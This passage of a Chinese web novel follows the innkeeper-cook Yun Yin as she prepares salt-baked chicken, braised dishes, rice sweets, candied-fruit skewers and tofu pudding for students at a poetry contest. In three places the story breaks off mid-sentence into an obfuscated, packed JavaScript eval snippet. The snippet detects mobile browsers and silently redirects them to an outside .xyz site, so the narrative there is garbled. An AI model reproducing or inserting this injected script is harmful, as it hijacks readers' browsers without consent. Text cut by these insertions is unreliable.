云音把买回来的鸡杀了，洗干净沥干水分，敲碎的黄栀子泡水，水变成金黄色后，取出黄栀子，把水均匀涂抹在鸡身上，云音把涂完水的鸡放到一旁静置，继续给其他鸡涂水，等所有鸡都涂完水，用之前做好的盐焗粉均匀涂抹在鸡的内外，确保粉料渗进肉里。 然后淋上米酒，继续揉搓，最后淋一勺香油，锁住鸡的味道。 腌制的鸡要放一夜，云音把所有鸡扔到大缸里，确保腌制彻底。 她则去熬制卤水，跟之前的做法一样，她重新煮了一锅卤料，把清洗干净的猪肉、猪蹄等放进去卤，然后等时间差不多后，再放入猪耳朵等其他易熟的食材。 至于茶叶蛋，云音也不打算做了，有了卤水直接舀一点出来，卤鸡蛋和其他素菜，之前她卤过一次毛豆，汪钰他们特别喜欢，她后来又种了一些豆子，今天正好采一点拿来卤毛豆。 云音叫郑桂兰去田里摘豆子，她则去清洗莲藕，天气渐渐凉爽下来，莲藕也越来越多，她找人买了一大框藕，今日拿来做卤藕。 单独用一个锅来卤毛豆和莲藕，她让郑桂兰看着灶上的火，她继续去做点心，钵仔糕好做，栗子糕也不难，糯米糍做起来稍显麻烦。 浸泡后的糯米蒸熟后舂打，然后裹上黄豆粉，其他不麻烦，主要是舂打很耗费力气，年糕也是这样做的，云音舂打一会儿后，交给张林，至于程勇，他还受着伤，这些体力活还是别让他做。 马浩和他的兄弟，一早便带上云音做好的蘑菇酱去了绵州，此时能干体力活的也就只有她、张林以及郑桂兰。 他们三个轮流舂打糯米，终于做出一大盆糍粑，想吃新鲜的便可沾上些黄豆粉和芝麻，直接拿着吃。 云音从糍粑盆里揪出一团搓成团子，放到磨碎的黄豆粉里滚一圈，然后再沾上点芝麻，圆滚滚的糯米糍便做成了。 她一口咬下，香甜软糯的糯米糍滑入嘴里，非常有嚼劲，吃起来特别香，云音吃了一个接一个，若不是因为吃多了不消化，她真的不想停下来。 张林几人也吃的很香，程勇看着这糯米糍道：“我记得小时候年节时，家里人便会做这个，已经很久没吃到过了。” 郑桂兰只让方荷吃一点点，她回道：“我们村里只有富农才会做这个，也是很难能吃到，还是云娘子大方，让我们随便吃。” 云音笑道：“先让你们尝尝，等客人来时，也好介绍，若是你们自己都不知道什么味道，别人问起，你们怎么说？” 云音等他们吃完，继续去做驴打滚，这道点心做法与糯米糍类似，但用的不是糯米，而是糯米粉。 71. 第71间客栈 驴打滚用糯米粉制作而成，与糯米糍不同的便是需当天做当天吃，而糯米糍可以冷藏食用。 云音把糯米粉加水调成糊状，放入蒸笼里蒸熟，之前炒的黄豆粉撒到案板上，把蒸熟的糯米皮放到案板上擀薄，里面放上加热的红豆沙，卷成圈后切断撒上黄豆粉。 她把做好的驴打滚装盘，拿出去给大家尝，“你们试试这个驴打滚，跟糯米糍味道又不一样。” 程勇率先拿起一块，咬一口道：“比糯米糍更软糯，味道也更甜一点，都很好吃，不过我还是更喜欢糯米糍，它更香甜。” 郑桂兰和张林齐声回道：“我们都喜欢。” 方荷趁着娘亲不注意，也拿了一块吃了，她点头道：“我也都喜欢。” 郑桂兰见到方荷的东西，蹲下身道：“吃了这个不能再吃了，知道吗？糯米吃多了不消化，你还小，要少吃。” 方荷点头道：“娘亲，那我什么时候能跟你们一样？” 郑桂兰摸摸她头道：“等你跟我们一样大的时候，娘亲就不限制你吃多少了。” “我知道了，娘亲，我会早点长大的。” 吃完点心，郑桂兰继续去看着卤锅里的火，把煮着毛豆的这锅端下来道：“云娘子，这毛豆和莲藕的锅，我放一旁了，那边锅里的还要继续煮一会儿。” 云音走进来，夹一筷子毛豆尝尝味道，已经卤进味道，咸鲜麻辣，拿来做小吃真的特别好，根本不想停下来，莲藕也很粉，咬一口，藕断丝连。 因为她喜欢粉一点的藕，所有莲藕卤的时间也很久，煮的粉粉的，若是想吃脆一点的，也可以少卤一会儿，这样的藕就是脆脆的，也很好吃。 至于卤的鸡蛋，需要继续焖一会儿，晚食可以吃，毛豆和莲藕也放在卤汁里继续闷着，晚上拿来下酒，云音把小釜放到一旁，对郑桂兰说：“卤肉的火不用太大，用小火慢慢煮着，我去泡一点木耳，晚上我们吃凉拌木耳。” 木耳之前云音自己在山里捡了一些，晒干后一直存着没吃，后来附近村民过来卖菌子时，她也收了一些，拿去晒了，她已经存了不少木耳，等冬天没有蔬菜时，木耳也是很好的蔬菜。不论是拿来炒肉还是凉拌，木耳都是一道极其美味的食材，城里人也很爱吃这一口，这些木耳云音还是好不容易才存到的。 倒是方荷知道云音喜欢，没事时常去山里寻摸，也给她找了不少。 云音从仓库抓了一大把木耳，用冷水泡发，等凉拌时再焯一次热水，凉拌出来的木耳又脆又嫩滑。 今日晚食，云音做的便是肉夹馍，另外炒了一份面条，煮面条吃久了，也想吃一下炒面了，炒完面条，切了一大份卤肉卤蛋，又把卤菜端上去，最后一大碗绿豆汤，有主食有肉有菜，还有甜点。 云音招呼张林他们过来吃饭，正吃着呢，院子里传来说话声，从外面走进来几个人道：“云娘子，听说你们这里要举办活动？我们能来吗？” 云音邀请几人进来道：“老赵，你今日过来是看黑豆的吗？”又对另外几人道，“你们想过来看也可以啊，不过可能与你们想的活动不同，都是县学学子们举办的活动，可能你们不会喜欢。” 老赵摸了摸跑过来的黑豆，看它被养的很好，毛发也油润光滑，他点头道：“我过来看看黑豆，也是来谢谢云娘子的，多谢你把黑豆养的这样好。” 云音摇头道：“我也很喜欢黑豆，它可能干了，每天都帮我们守家，让我们省了很多心。” 老赵旁边的赵大郎不好意思笑笑道：“我们想趁着那天，带些水果过来卖，不知道能不能行。” 云音诧异道：“原来你们是想过来卖水果，我还以为你们想要过来看活动的。”她笑道，“你们想要卖水果自然可以，不过你们只能在饭摊那边售卖，你们放心，所有人都会经过饭摊的，如果有人想要买水果，会找你们的。” 赵大郎连连点头道：“多谢云娘子，能在饭摊那里卖也行，那我到时候带人过来。” 送走平江村的人，云音问郑桂兰，“郑东最近水果卖的如何？他要不要也让人来这里卖，那天估计会来不少学子。” 郑桂兰想想后道：“他们最近好像一直在卖葡萄，应该卖的差不多了，至于橘子之类的，他们种的不多，不过有山楂和枣子，等明日问问他。” 听到山楂，云音好奇道：“山楂是你们村里自己种的？还是山里长的？” “是郑东他们自己种的。”郑桂兰道，“包括枣子也是郑东要种的，他说山楂和枣子既是水果，也是药材，药铺里面也能收，所以他种了一些，不过当时因为其他水果卖不出去的缘故，没几个人愿意种，只有郑东他们几个要好的种了。” 云音道：“他种了山楂，那明天让他给我送点过来，我想做点冰糖葫芦。” 郑桂兰点头道：“我跟张林说一声，让他明早去江边等他。” 第二天下午，郑东抬着一筐山楂和红枣过来，笑着对云音道：“云娘子又照顾我生意了，我来给你送枣子和山楂。” “正好最近霜降了，这山楂吃起来甜一点了。”郑东把竹筐放下道，“前段时间这山楂还是挺酸的，我听张林说，娘子想要做糖葫芦，那这山楂刚刚好。” 云音上前看了看，枣子还是青枣，她拿起一个擦了擦吃掉，不算特别甜，但很清脆，也有微微的甜度，她笑着道：“多谢你，我听说你们这山楂是卖给药铺的，难为你卖给我。” 郑东道：“云娘子要的也不多，这点不算什么，能帮到你，我也很高兴，至于县里的药铺，每年要的山楂和红枣数量只有那些，我们种的完全够，云娘子不必觉得歉疚。” 云音把钱递给郑东道：“新鲜的价格与晒干的价格肯定不同，还是多谢你了。” 郑东走后，云音把部分山楂倒到盆里，洗干净后掏出里面的核，每个山楂里都塞入红豆沙，这样做出来的山楂酸甜可口，口感层次丰富。 郑桂兰帮忙清洗山楂，看着云音的动作道：“糖葫芦做法这么复杂吗？我看县里的糖葫芦好似不是这样的。” 云音边塞红豆沙边道：“县里的糖葫芦都是卖给孩子的，即便有些酸味，他们也会喜欢，但是夏小娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492326|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子他们可能会觉得太酸了，还是处理一下，她们更能接受。” 云音好歹每人都收了半吊钱，这笔钱不少了，自然要做到更好，让他们吃的尽兴，塞好山楂，云音又去拿了橘子过来。 她这回买的橘子不是酸橘子，是早熟品种的，如今已经黄了，吃起来酸酸甜甜，有一点酸味但不是特别酸，拿来做冰糖橘子也是很好的，当然若是酸橘子，也是可以做的，而且裹了冰糖后，酸橘子也没那么酸了，只是毕竟是夏小娘子她们吃，还是甜一点好。 云音让张林去帮她扎一个稻草人，她则去煮糖浆，煮糖浆时不用搅拌，让它自己慢慢融化，她把准备好的橘子和山楂，还有串好的葡萄放到锅里淋上糖浆，放到一旁冷却。 冷却的糖浆逐渐凝固，慢慢变硬，等云音把今日准备的糖葫芦都做完，之前的糖浆早已冷却。 云音先挑了一个山楂的尝了尝，点头道：“很甜，也没有籽，吃起来很方便，想必夏娘子她们也会喜欢的。” 郑桂兰也尝了一颗道：“确实好吃，娘子，明日她们便要到了，我们做的这些够吗？” 云音：“还有别的点心呢，也不能只吃糖葫芦啊。”云音说完又去拿了一个橘子糖葫芦，咬一口，汁水在嘴里爆开，那滋味，让她收回刚刚的话道，“我明早起来再做一点，这点估计也就只够我们吃了。” 云音把这些糖葫芦拿去给程勇几人尝，看到张林做的稻草人，摇头道：“你这手艺完全不行啊，要是傅望在就好了，他可以做好看的稻草人。” 张林挠挠头道：“我好久没做过，忘记怎么做的了，云娘子，这还能用吗？” 云音道：“幸好我不是拿去卖的，将就用一用吧，你再多缠几个稻草人，我明天打算多做点糖葫芦。” 张林应了一声道：“好嘞，我这就去做。” 云音拦住他道：“先吃了再去做吧。” 冯海还在厨房做菜，云音过去帮他把菜炒完，叫上他，几人一起在一旁吃着糖葫芦，一旁正吃饭的几个人看着门口这一排人，好奇道：“云娘子，你们这吃的什么啊？” 云音又吃完一个冰糖橘子，“冰糖葫芦啊，你没吃过吗？” “冰糖葫芦我倒是吃过，可我吃的都是山楂的，没看到用橘子的，我能买一串尝尝吗？” 云音递给他一串道：“十文钱，好吃再买哈。” 那人接过一串，上面挂着两个橘子，他蹙眉道：“这么贵的吗？”他把橘子放入嘴里，汁水在他嘴里炸开，裹着脆脆的糖衣，让软软的橘肉也多了丝脆感，橘子的汁水非常多，微微的酸味还没传达到嘴里，便被那一层层的糖衣甜味覆盖，只剩下清甜的口感。 他眯着眼睛道：“很棒的味道，比直接吃橘子好吃多了，十文钱也不算贵了。”他吃完一串，看向云音道，“其他的糖葫芦，我也要一串，这橘子糖葫芦，给我再来一串。” 旁边的人见这人买了还想买，一个个的也争抢起来道：“云娘子，我们也要买。” 云音从厨房搬出三个稻草人道：“都有，都有，一个个来。” 72. 第72间客栈 那天云音做的糖葫芦全都卖完了，她第二天一大早起来重新做了，这次做的分量更多一些，以免不够。 除了糖葫芦，云音还做了冰糖雪梨，钵仔糕也做好了，等夏燕她们过来时，她的绿豆汤也煮好了。 云音把凉粉与酸梅汤先端到大堂，每个进来的人都交了半吊钱后，她指着那边桌子道：“这里的吃食你们随意吃，等一会儿你们蹴鞠时，那边也会放小吃点心的。” 夏燕带着她的朋友坐下，对云音道：“我们打算看完沈容与谢彦的诗会，再去玩蹴鞠，他们人呢？怎么没见着，不会不打算来了吧。” 云音笑笑道：“他们给我回信了，说会准时到，一会儿应该就来了，娘子们先吃点糕点吧。” 她把驴打滚和糯米糍端上来，又指着栗子糕道：“若是不想吃太多糯米，栗子糕里的糯米粉放的不多，你们可以吃这个。” “糖水有冰糖雪梨和绿豆汤，当然酸梅汤我也准备了，想喝随时可以找人帮你们盛，想自己动手也行，你们随意吧，我还有事，便不在这里陪你们了。” 夏燕摆摆手道：“你去忙吧，这里有我呢，她们也都不是纠结的人，能自己照顾好自己。” 夏燕的朋友等云音走后，对她道：“这就是你之前特别喜欢的厨子，听说你们家的奶制品便是找她学的，我今日本来还想尝尝，看看她做的与你家厨子做的区别，没想到竟然没有。” 夏燕道：“你可以找她点一份奶茶，她这里的牛奶不多，一般都是拿来做奶茶了，其他奶制品要用的糖太多了，她很少会做，除非有人特意点单了。” 这女子继续道：“奶茶我在县城里便能喝到，但是云娘子做的菜我可没法吃。当初你们举办荷花宴，我正好不在，也没尝到她的手艺，阿玥出嫁前还念念不舍，我一直想要尝一尝云娘子做的菜，可惜我一个人出来不方便。” “如今跟你出来就好了，你有人护卫，也不用担心安危。”她叹气道，“我家里的兄长都不愿意带我出来玩，平日只能在县里闲逛，这次好不容易才说服家里，让我出来呢。” 夏燕道：“阿慧，你也让你家里给你配随从啊，这样出门也方便。” 阿慧摇头道：“算了，家里的资源都是兄长的，我们家又不像你们，还有人在长安做官，我能出门已经极为不易，其他的想都不用想，还是跟着你一块出来更实际。” 就在几人闲聊时，沈容谢彦一行人过来了，他们来的人很多，瞬间将门口堵得水泄不通，云音拍拍堵在门口的人道：“进去啊，你们堵门口做什么？” 那人回头，见到云音，脸红道：“云娘子，抱歉，挡住你的路。”他往旁边让让，给她让出一条通道，侧头时看到她拿的稻草人，上面插满了糖葫芦，他兴奋道，“云娘子，这是你准备的吗？” 云音把糖葫芦摆在柜台前，对进来的学子道：“嗯，今日给你们准备了糖葫芦，你们交了钱，便可随意吃，不过我只做了这些，吃完便没有了。” 其他交了钱的人，闻言立刻上前围着那几个稻草人，看着这五花八门的糖葫芦，一时间竟不知吃哪一种。 夏燕几人从座位上走过来，对云音道：“你之前没提到还会做糖葫芦，而且这糖葫芦的种类也太丰富了吧，我都没吃过这种口味的。” 她拿了一串葡萄的糖葫芦，葡萄已经去掉皮和籽，吃进嘴里不用担心吃到籽，那一层层亮闪闪的冰糖甜蜜蜜的，这葡萄吃起来一点都不酸。 夏燕本来是不怎么喜欢吃葡萄的，她觉得中原种的葡萄都有点酸，但剩下的糖葫芦她也不是很喜欢，只有这葡萄她能吃一点，虽然她很爱吃甜食点心，但还真不怎么喜欢这个不方便的糖葫芦。她觉得糖葫芦吃起来太不雅，可如今吃了云音做的糖葫芦，她突然觉得糖葫芦也没那么难吃了。 吃完一串葡萄的，她又尝了尝另外两种，不论是山楂的，还是橘子的，都给她一种新奇的感受，明明吃水果时，她并不觉得好吃，但是裹上糖浆后，反而变好吃了。 最让夏燕感到惊奇的便是山楂糖葫芦，山楂的酸与红豆沙甜糯融合，比起单独的山楂糖葫芦好吃多了。 她感叹道：“云娘子可真有巧思，让我这不喜欢吃糖葫芦的人，也喜欢上了。” 还在后面排队的学子闻言，连忙道：“给我留一点啊，我还没尝过味道呢。” 等所有学子进来后，柜台前已经被围满，后面的人也上前不了，云音只好对前面的人道：“你们吃过的人就去准备吧，你们不是还要斗诗吗？” 围在前排的学子摇头道：“诗会哪有糖葫芦好吃啊，我以前吃的都不叫糖葫芦，那就是山楂果子，一点都不甜。” 汪钰挤过这一群学子，带着一大把糖葫芦回到座位，他递给谢彦一串道：“你也尝尝，真的很好吃。” 谢彦分了一串给沈容，仔细看看这被人夸的天上有地上无的糖葫芦，他咬下一口，细嚼慢咽，吃完一颗时，汪钰已经吃完一整串了，他摇摇头道：“虽然味道确实不错，但也没有你们说的这样夸张吧。” 汪钰摇头道：“那是你不懂，你在学里没偷偷买过糖葫芦，云娘子的糖葫芦真的好吃多了，以前在学里，每日能吃到一串糖葫芦，觉得一天都很开心。后来又了蘑菇酱，总算不那么惦记糖葫芦了，但是云娘子做的糖葫芦还是不同的，若是能在学里买到就好了。” “可惜云娘子只有活动时才做，平时不卖这个，想吃只能等下次活动时。”汪钰拍拍谢彦道，“要不我们下个月再来云娘子这里吧，再举办个活动如何？” 谢彦：“你这是惦记云娘子的吃食，还是想要出来玩啊？” 汪钰不好意思笑笑道：“都要不可以吗？”他看一眼慢条斯理的沈容，凑到谢彦耳边小声道，“你们这次可一定要赢了沈容他们，我还想吃一下云娘子的彩头呢，不知道该有多好吃。” 谢彦与沈容对视一眼，无奈摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500773|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头道：“我们尽量吧。” 吃完糖葫芦，那群学子又发现桌上摆的点心和糖水，一个个乐不思蜀，完全忘记还有斗诗一回事，直到谢彦与沈容站到前方，他们才从桌子前离开，走之前还拿着不少点心。 夏燕几人也回了自己桌前，看着前面高台上的几人，这高台还是云音特意布置的，高台便是摆着她送的花，她满意笑笑，继续围观上面的人斗诗。 他们这次的斗诗与之前宋萱参加的类似，也是飞花令形式的，不过比她那次难的点在于，他们需要限定顺序，第一个字在首位，那么第二人接的时候，特定字需要在第二位，以此类推，直到第七个字位置再重新轮转。 “他们这次的斗诗还挺难的。”夏燕看着北江县的一人不敌，退出后剩下的人继续，她笑问宋萱，“不过若是让你去，你应该也没问题吧。” 宋萱认真看着上面的人斗诗，一边深思一边在旁默念诗句，听到夏燕的话，她摇头道：“花月酒这些常见的好说，但他们现在对的诗句已经不常见了，我也要想好久才能想起一句来，还是挺难的。” 她见夏燕无所事事的模样，无奈道：“你既然不喜欢诗会，干嘛要来看他们斗诗？” 夏燕：“正是无聊，才来看他们斗诗啊，你不觉得他们抓耳挠腮的模样特别好笑，我看的也很开心啊。” “你可别当着他们的面说，我可说不过他们。” 就在他们气氛焦灼时，云音端来几盘盐焗鸡，一盘放在夏燕她们桌前，另一份则放到汪钰桌前，对他们道：“我新做的吃食，你们可以当小食吃。” 汪钰看到这盘鸡，他也不看谢彦他们的比试了，反正不管谁赢了，他都去蹭一餐好了，如今还是先吃点云娘子做的新吃食。 鸡皮呈现金黄色，色泽油润光滑，刚一入口，汪钰便被盐焗鸡的惊到，鸡皮非常有嚼劲，但鸡肉却很嫩滑，微微的咸味让这只鸡的鲜味更明显，不论是鸡皮还是鸡肉味道都浸透，咸的恰到好处，拿来当小食吃真的特别舒服。 不用配米饭，也不用配糖水，只是单独吃，汪钰也能吃不少，可一盘鸡的分量也太少了，他刚尝个味道，桌上的盐焗鸡已经被他们抢完了。 “云娘子，这分量也太少了吧，我还没吃够呢。” 云音：“别着急啊，今天还早着呢，一会儿还有卤肉，还有其他小吃，你现在吃饱了，一会便没肚子吃剩下的了。” 听到卤肉，汪钰眼前一亮道：“云娘子，你又做卤肉了？” 云音颔首道：“天气凉快些了，可以继续做卤肉了，你今日可以多吃些。” 汪钰左右看看，见没人注意他，他走到云音身旁低声道：“云娘子，既然你又做卤肉了，这次也再帮我卤一点吧，上次带回家后，家里人都很喜欢，我这次多带点回去，想必他们肯定欢喜。” 想到刚刚的盐焗鸡，他又道：“盐焗鸡能买吗？我一会儿走的时候想带几只回去。” 73. 第73间客栈 盐焗鸡自然有，云音之前准备了好多只，除了举办活动要用的，剩下的她都拿来卖，她笑道：“几只没有，但一人一只还是可以的。” “我先记上你的名字，等你走的时候，给你带上。”她想到之前做的水果罐头，她问汪钰，“你要不要尝尝我做的水果罐头，如果喜欢，也可以带一些回家。” 云音之前做的水果罐头，他们自己便吃完了，后来她又做了一些桃子和梨子罐头，此时正在冰窖里储存着，虽然冰窖里没有冰块，但气温也比外面底，云音上个月储存的水果罐头，还是完好无损的，不过也要尽快吃掉，看样子是放不到冬天了。 她想要放到冬天，只能制成果干，之前做的话梅，如今还仍旧很好，一点都没有变质，她想着一会儿可以去买些水果，做一些果干，只有杏子、柿饼和葡萄干，云音总觉得囤的不够。 汪钰好奇道：“什么是水果罐头？” 云音从冰窖里取出两坛水果罐头，打开用碗给他盛了一碗：“就是糖水做的水果，你可以尝尝，味道也不差。” 汪钰端起一碗尝了尝，确实很甜，跟冰糖葫芦又是不一样的甜，既然在学里买不到冰糖葫芦，那买一些水果罐头也不错，他笑道：“那给我一样来两坛吧。” “这水果罐头开坛后要尽快食用，你还是先买一坛吃着吧，不然坏了多可惜。” 汪钰：“云娘子太小看我们了，这一坛水果罐头还不到一天，估计就被我们吃的差不多了，我看你这里只有三种水果，一种两坛都不够我们吃的。” 云音笑道：“那就按照你说的，你一会儿走时，我给你装上。”她想到一事问他，“你骑马过来的，还是赶马车过来的？” 汪钰“哎呀”一声道：“我骑马过来的，今日大家都是骑马来的，没人赶车啊。” 云音：“没事，我晚点让张林给你送过去，你还有什么想吃的，也可以一起买，我让他帮你一起送。” 汪钰看着柜台边摆的桌子，上面又摆了一些糕点，他道：“既然有人送，那我都买一点吧，你这里的糕点我都要一份，让我家里人也尝尝鲜。” 与汪钰说好，云音端着另一份水果罐头给夏燕送去，“看了这么久，小吃也吃了不少，正好喝一碗水果罐头润润喉咙。” 夏燕接过她的碗，递给一旁的阿慧，对云音道：“你刚刚与汪钰说什么呢，说这么久？” 云音坐到她身旁道：“他找我买东西呢，这水果罐头你们家又不缺，没必要买，他们每旬才休沐一日，他买了带去学里吃的。” 夏燕喝了一口糖水，“他们确实需要，我们能随时吃到新鲜的，确实没必要买，不过我挺喜欢的你做的糖葫芦，不知道你愿不愿意卖一些？” 云音：“糖葫芦做起来很简单的，你回去跟万娘子说了，她肯定会做，你一会儿走的时候可以去官道边的摊上买水果，带回去让万娘子给你做，不比找我买方便吗？” 阿慧吃完一碗水果罐头，点头道：“是啊，阿燕，你回去让万娘子做，我也可以去你家吃。” 夏燕无奈道：“行吧，那我带别的回去吧，我记得你每日会烤几只鸭子，现在还有吗？” 云音歉意一笑道：“还真没有了，我每天做的六只烤鸭卖的很快，一早便有人前来购买，你这个时候问早没了。要不这样，我明日做了给你留两只，你让人过来拿？” 夏燕：“看来只能如此了，那盐焗鸡总还有吧，你不会全卖给汪钰了吧。” “还有，我给你留两只，其他人我都只卖一只的。”云音小声对夏燕道，“感谢你之前送我的东西，还有也谢谢你换给我的奶牛，若不是有那头奶牛，我也没办法再卖奶茶了。” 如今云音前面的饭摊不仅早上卖面点，午食和晚食也会卖饮子，奶茶特别受欢迎，过路的人不方便去县城，都会选择在她这里买，虽然云音的牛奶不多，但都拿来做奶茶，一天还是够的。 若当初只让夏燕给她送牛奶，她肯定没有这么多牛奶用，她可是知道这里的人对于牛可是很看重，更别说还在产奶的牛，他们更愿意把那些牛奶拿去养刚出生的牛犊，这也是为何很难在外面买到牛奶的缘故。 夏燕道：“这是我跟你的交易，你不也把你的配方交给我了嘛，所以不用道谢。” 两人正聊天愉快，前面台上爆发出一阵轰鸣，原来是胜利者抉择出来了，云音上前观看，意外发现台上还剩的便是沈容和谢彦，她诧异道：“现在是什么情况？” 汪钰轻咳一声道：“他们打平了，谁也奈何不了谁，所以最后算平分。”他笑道，“这样也好，我也能吃上彩头，等下个月再举行活动时，想必会更加精彩。” 云音看着一群叫好的青年，满头问号道：“啊，可是我只准备了一桌菜，你们这么多人，坐都坐不下吧。” 汪钰道：“无所谓，他们吃不吃得到我不知道，反正我肯定能抢到的。” 他们斗诗结束后，云音把肉夹馍端上来，每桌上了几篮子，对他们道：“你们午食先吃点饼吧，晚食的时候我准备了大餐，算是我庆祝你们活动圆满结束。” 谢彦起身对云音行礼道：“还要多谢云娘子的慷慨，今日我们过的很开心。” 云音摆手道：“是我该谢你们，为我的店增添不少活力，过路的人见了也愿意进店看看。” 她的话并没有说错，今日这些学子的到来不仅引开附近村名，还有不少路过的人也因为好奇过来围观，哪怕很急的人也不在意这点时间，来她这里吃个饭，顺便看看这些学子斗诗。 给所有人送完肉夹馍，云音正要回厨房，准备晚上的宴席，被夏燕叫住道：“你一会儿要来看我们蹴鞠吗？” 云音：“有时间我便去看看，若是没时间，我在院子里看一眼就当我看过了。”今日人多，她实在太忙，不一定有空去看。 夏燕耸耸肩道：“那行吧，我不打扰你了。” 云音回厨房准备食材时，张林从外面搬着一大桶东西进来，“云娘子，你找方婶买的豆花到了，还有几块豆腐是她送的，说是感谢你的。” 自从罗蔓吃过方婶的豆腐后，一直找她买豆腐，后来她县城饭馆的豆腐也是找方婶买的，因此方婶的豆腐越来越受欢迎，县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504668|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城有不少饭馆都找她买豆腐。 方婶知道是云音推荐给罗蔓后，一直想要感谢她，可惜一直不方便来她这里，前不久他们家终于买了骡子，云音前两天去镇上时正好碰到方婶，找她定了一大桶的豆花，她之前已经送过豆腐，没想到现在又送了这么多。 云音把还冒着热气的豆花提到厨房，豆腐交给冯海道：“既然方婶送了豆腐，那晚上的宴席我们准备一道豆腐吧。” 冯海接过豆腐问：“怎么做豆腐？向你之前做的文思豆腐那样？” 云音摇头：“今日做些家常菜，不做太过复杂的，红烧便挺好的，这道菜你来做如何？” 冯海看着碗里白白嫩嫩的豆腐，沉思片刻后道：“行，我来做吧，做豆腐我还是拿手的。” 他最近跟云音学做菜，已经有不少长进，连一直过来吃饭的食客也觉得他的厨艺进步很大，之前不愿意换厨子的食客，如今也接受他的手艺，无论如何，云音一个人也是做不完所有菜的。 冯海把豆腐泡到水里，浸出豆腥味，虽然方婶的豆腐豆腥味很淡，但泡过水后味道还是会更好些。 云音见他忙起来了，也去处理豆花，她以前吃过甜豆花，咸豆花还有辣豆花，每种都很好吃，今天也让这群学子娘子们尝尝豆花的各种吃法。 甜豆花最简单，红糖水直接浇在豆花上即可，当然还可以在里面放上各种水果、红豆等甜的东西。 云音率先做了一碗放了红豆的豆花，递给冯海一碗，又给张林郑桂兰几人尝尝，等大家都吃了后，她继续去做咸豆花。 咸豆花需要炒汁，云音用的肉末木耳和鸡蛋炒的，炒完勾芡浇在豆花上，最后淋上蒜泥，咸豆花也做好了。 辣豆花更简单，如果有辣椒油，直接放辣椒油、花椒油、酱油即可，但她暂时还没有辣椒，她用茱萸熬的油替代，加上葱花蒜沫和酥黄豆。 云音叫上张林，与他一起把做好的各种口味的豆花端过去，此时他们还在吃卤菜，其中一学子道：“这毛豆和莲藕卤了真好吃，我觉得比肉都好吃。” 另一人回道：“确实好吃，若是我们学里能吃到这样的美味该有多好。”他摇头叹气道，“只能日后休沐日过来吃了，这么好吃的店，我怎么今日才发现，听说云娘子会做不少美食，像什么烤鸭月饼我都没吃过。” 那学子诧异道：“哎，之前宋时带回去的你没吃吗？对了，宋时呢，这一上午都没看见他人，他去哪里了？” 云音把豆花端上去回他们：“宋时在旁边的厢房忙呢，他在构思图画，所以没过来。” 那学子听闻不再关心宋时，盯着桌上的碗问：“云娘子，这又是什么好吃的？” 云音挑眉道：“豆花你们没吃过吗？” “豆花我们当然吃过，但这这么多口味的豆花我还真没吃过。”他舀了一勺浇了肉末的豆花放进嘴里，入口即化，鲜香醇厚，他眼睛不自觉亮起来，称赞道，“云娘子，你的手艺真是绝了，这种咸的豆花我还是第一次吃，与甜豆花不相上下。” 另一个学子摇头道：“我还是更喜欢甜豆花。”